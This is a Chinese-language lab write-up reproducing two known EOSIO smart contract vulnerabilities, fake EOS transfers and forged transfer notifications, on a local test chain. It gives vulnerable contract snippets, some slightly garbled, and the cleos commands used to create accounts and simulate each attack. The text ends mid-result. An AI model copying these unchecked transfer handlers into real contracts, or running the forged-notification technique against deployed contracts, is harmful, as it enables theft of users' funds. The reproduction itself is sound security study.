EOSIO漏洞
EOSIO漏洞复现
实验环境
-
nodeos :2.0.12
-
EOSIO.CDT(编译器):1.2.1
准备
-
解锁账户(默认锁定时间较短,可以自己修改配置文件使得时间更长)
yourcount:指你自己创建的钱包名
$ cleos wallet unlock -n yourcount --password
EOS Fake Transfer复现过程
-
存在漏洞的合约示例(test.cpp):
if( code == self || action == ::eosio::string_to_name("onerror") || code == N(eosio.token)) { print("receiver:", name{receiver}, ", code:", name{code}, ", action:", name{action}, "n"); notified thiscontract( self ); switch( action ) { case ::eosio::string_to_name( "transfer" ): eosio::execute_action( &thiscontract, ¬ified::transfer ); break; } } // doSomething() }
-
漏洞产生的原因
由于eosio.token源代码完全公开的,所以任何人都能复制其源代码,并发布一个token(相同的名字、符号和代码),虚假的EOS和官方的唯一不同就是具有不同的发布人(issuer)。或者直接调用漏洞合约的transfer函数进行转账
-
过程
-
创建受害者账户
your key:是你自己创建的公钥,需要把公钥导入到你的钱包以及官方钱包eosio
$ cleos create account eosio victim4 "your key"
-
部署测试合约test.cpp
cleos set contract + 账户名 + 测试合约的wasm字节码所在目录 + -p + 账户@active(默认权限为active,故可加可不加)
$ cleos set contract victim4 test/ -p victim4
-
-
开始模拟攻击
-
直接调用test.cpp合约的transfer(主要目的看是否trasnfer中的print是否有输出)
cleos push action + 账户名 + 需要调用的action + ‘调用action的参数’ + -p + 转账账户 (+ -j)
$ cleos push action victim4 transfer '["eosio","victim4","10.0000 EOS","inlined call"]' -p eosio -j
说明:加了一个 -j ,说明结果以json的格式进行输出的
结果显示:测试合约的transfer函数被调用了
-
-
查询账户余额
cleos get currency balance eosio.token + 查询账户 + token名(EOS)
$ cleos get currency balance eosio.token victim4 EOS
Forged Transfer Notification复现过程
-
存在漏洞的合约示例(test.cpp):
void transfer(account_name from, account_name to, asset quantity, string memo) { print("n Receiving transfer message: from ", name{from}, " to ", name{to}, ",", quantity, ",", memo); if (from == _self) { print("have a vulnerability!"); return; } print("in eosbet transfer,", name{ from }, ",", name{ to }); // doSomething() }
-
漏洞产生的原因
攻击者在 EOS 网络中控制两个账户 A(发起攻击的账户) 和 B(将收到的通知立即转发给账户C)。通过账户 A 向账户 B 发送真正的 EOS,如图所示,eosio.token 合约在转账成功后会向 账户A、B 发送 notification。当账户 B 收到 notification后,通过调用require_recipient(C)随即将收到的通知转发给部署受害者智能合约的账户C。
-
过程
-
创建攻击者账户sender,用于向另一个由攻击者控制的账户notifier
your key:是你自己创建的公钥,需要把公钥导入到你的钱包以及官方钱包eosio
$ cleos create account eosio sender "your key"
-
创建账户notifier,用于将收到的转账通知转发给受害者
$ cleos create account eosio notifier "your key"
-
创建受害者账户
$ cleos create account eosio victim5 "your key"
-
账户notifier部署攻击合约eosbethack.cpp
cleos set contract + 账户名 + 测试合约的wasm字节码所在目录 + -p + 账户@active(默认权限为active,故可加可不加)
$ cleos set contract notifier eosbethack/ -p notifier
-
账户victim5部署攻击合约eosbet.cpp
$ cleos set contract victim5 eosbet/ -p victim5
-
-
开始模拟攻击
-
账户sender(攻击者)向账户notifier(攻击者)发送EOS(主要目的看是否trasnfer中的print是否有输出)
cleos push action + 账户名 + 需要调用的action + ‘调用action的参数’ + -p + 转账账户 (+ -j)
$ cleos push action eosio.token transfer '["sender","notifier","10.0000 EOS","transfer himself"]' -p sender -j
说明:加了一个 -j ,说明结果以json的格式进行输出的
结果显示:测试合约的transfer函数被调用了
结果显示: